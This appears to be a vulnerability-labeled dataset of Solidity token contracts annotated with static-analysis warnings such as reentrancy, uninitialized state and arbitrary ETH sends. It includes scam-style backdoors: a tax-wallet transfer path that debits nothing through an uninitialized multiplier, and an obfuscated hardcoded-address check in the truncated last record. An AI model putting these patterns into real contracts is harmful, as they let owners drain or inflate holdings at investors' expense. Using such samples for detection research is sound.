= address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 840b7f3\n\t\t\t\t\t// reentrancy-eth | ID: 85145ad\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: acfdc84\n targetRewAmount = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n RewardTarget storage targRewCl = rewardTarget[to];\n\n if (from == uniswapV2Pair) {\n if (targRewCl.targetRew == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: acfdc84\n targRewCl.targetRew = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n RewardTarget storage targRewClData = rewardTarget[from];\n\n if (\n targRewCl.targetRew == 0 ||\n targRewClData.targetRew < targRewCl.targetRew\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: acfdc84\n targRewCl.targetRew = targRewClData.targetRew;\n }\n }\n } else {\n RewardTarget storage targRewClData = rewardTarget[from];\n\n\t\t\t\t// reentrancy-benign | ID: acfdc84\n targRewClData.destRew = targRewClData.targetRew.sub(\n targetRewAmount\n );\n\n\t\t\t\t// reentrancy-benign | ID: acfdc84\n targRewClData.secondRew = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 840b7f3\n\t\t// reentrancy-eth | ID: 85145ad\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a3ef7ff): TERESA.targetRewExcl is never initialized. It is used in TERESA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for a3ef7ff: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : targetRewExcl.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 85145ad\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 840b7f3\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 85145ad\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 85145ad\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 840b7f3\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 840b7f3\n\t\t// reentrancy-events | ID: b3cce85\n\t\t// reentrancy-benign | ID: d6cc695\n\t\t// reentrancy-benign | ID: acfdc84\n\t\t// reentrancy-eth | ID: 85145ad\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 840b7f3\n\t\t// reentrancy-events | ID: b3cce85\n\t\t// reentrancy-eth | ID: 85145ad\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f0c2cf8): TERESA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f0c2cf8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 48d8cf0): TERESA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 48d8cf0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 255f4be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 255f4be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 255f4be\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: f0c2cf8\n\t\t// reentrancy-eth | ID: 255f4be\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 48d8cf0\n\t\t// reentrancy-eth | ID: 255f4be\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 255f4be\n tradingOpen = true;\n }\n\n function manualSendEth() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10053.sol",
"size_bytes": 22963,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract VeryStableGenius is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dce50c6): VeryStableGenius._taxWallet should be immutable \n\t// Recommendation for dce50c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b17b4e): VeryStableGenius._initialBuyTax should be constant \n\t// Recommendation for 9b17b4e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: e853801): VeryStableGenius._initialSellTax should be constant \n\t// Recommendation for e853801: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _buyTax = 0;\n\n uint256 private _sellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08fb4eb): VeryStableGenius._reduceBuyTaxAt should be constant \n\t// Recommendation for 08fb4eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5110bc0): VeryStableGenius._reduceSellTaxAt should be constant \n\t// Recommendation for 5110bc0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c115e5e): VeryStableGenius._preventSwapBefore should be constant \n\t// Recommendation for c115e5e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Very Stable Genius\";\n\n string private constant _symbol = unicode\"VSG\";\n\n uint256 public _maxTxAmount = 30_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 30_000_000 * 10 ** _decimals;\n\n uint256 public _taxSwapThreshold = 1_000_000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 7_500_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 14228f4): VeryStableGenius.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 14228f4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: baccf81): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for baccf81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e43ccc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e43ccc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: baccf81\n\t\t// reentrancy-benign | ID: 5e43ccc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: baccf81\n\t\t// reentrancy-benign | ID: 5e43ccc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 58cf9bd): VeryStableGenius._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 58cf9bd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5e43ccc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: baccf81\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 15771ef): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 15771ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fd4081b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fd4081b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt) ? _buyTax : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the _maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt) ? _buyTax : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _sellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 15771ef\n\t\t\t\t// reentrancy-eth | ID: fd4081b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 15771ef\n\t\t\t\t\t// reentrancy-eth | ID: fd4081b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: fd4081b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: fd4081b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fd4081b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 15771ef\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fd4081b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fd4081b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 15771ef\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 15771ef\n\t\t// reentrancy-events | ID: baccf81\n\t\t// reentrancy-benign | ID: 5e43ccc\n\t\t// reentrancy-eth | ID: fd4081b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimitW() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 44cc346): VeryStableGenius.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 44cc346: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 15771ef\n\t\t// reentrancy-events | ID: baccf81\n\t\t// reentrancy-eth | ID: fd4081b\n\t\t// arbitrary-send-eth | ID: 44cc346\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6818f4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6818f4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 173d318): VeryStableGenius.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 173d318: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fd9dfe9): VeryStableGenius.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fd9dfe9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ef9aa2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ef9aa2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6818f4f\n\t\t// reentrancy-eth | ID: ef9aa2c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6818f4f\n\t\t// unused-return | ID: fd9dfe9\n\t\t// reentrancy-eth | ID: ef9aa2c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6818f4f\n\t\t// unused-return | ID: 173d318\n\t\t// reentrancy-eth | ID: ef9aa2c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 6818f4f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ef9aa2c\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a779dda): VeryStableGenius.updateTaxSwapThreshold(uint256) should emit an event for _taxSwapThreshold = t * 10 ** _decimals \n\t// Recommendation for a779dda: Emit an event for critical parameter changes.\n function updateTaxSwapThreshold(uint256 t) external onlyOwner {\n\t\t// events-maths | ID: a779dda\n _taxSwapThreshold = t * 10 ** _decimals;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3bcfff2): VeryStableGenius.updateMaxTaxSwap(uint256) should emit an event for _maxTaxSwap = m * 10 ** _decimals \n\t// Recommendation for 3bcfff2: Emit an event for critical parameter changes.\n function updateMaxTaxSwap(uint256 m) external onlyOwner {\n\t\t// events-maths | ID: 3bcfff2\n _maxTaxSwap = m * 10 ** _decimals;\n }\n\n function reduceFee(\n uint256 _newBuyTax,\n uint256 _newSellTax,\n uint256 _newTransferTax\n ) external {\n require(_msgSender() == _taxWallet);\n\n require(\n _newBuyTax <= _buyTax &&\n _newSellTax <= _sellTax &&\n _newTransferTax <= _transferTax\n );\n\n _buyTax = _newBuyTax;\n\n _sellTax = _newSellTax;\n\n _transferTax = _newTransferTax;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10054.sol",
"size_bytes": 20265,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract SmartFinanceCoinToken is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0b17bd): SmartFinanceCoinToken._totalSupply should be constant \n\t// Recommendation for a0b17bd: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: a8c19fc): SmartFinanceCoinToken._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for a8c19fc: Remove the state variable shadowing.\n uint256 private _totalSupply = 110000000000 * 10 ** 18;\n\n constructor() ERC20(\"Smart Finance Coin\", \"SMART\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}\n",
"file_name": "solidity_code_10055.sol",
"size_bytes": 6829,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context 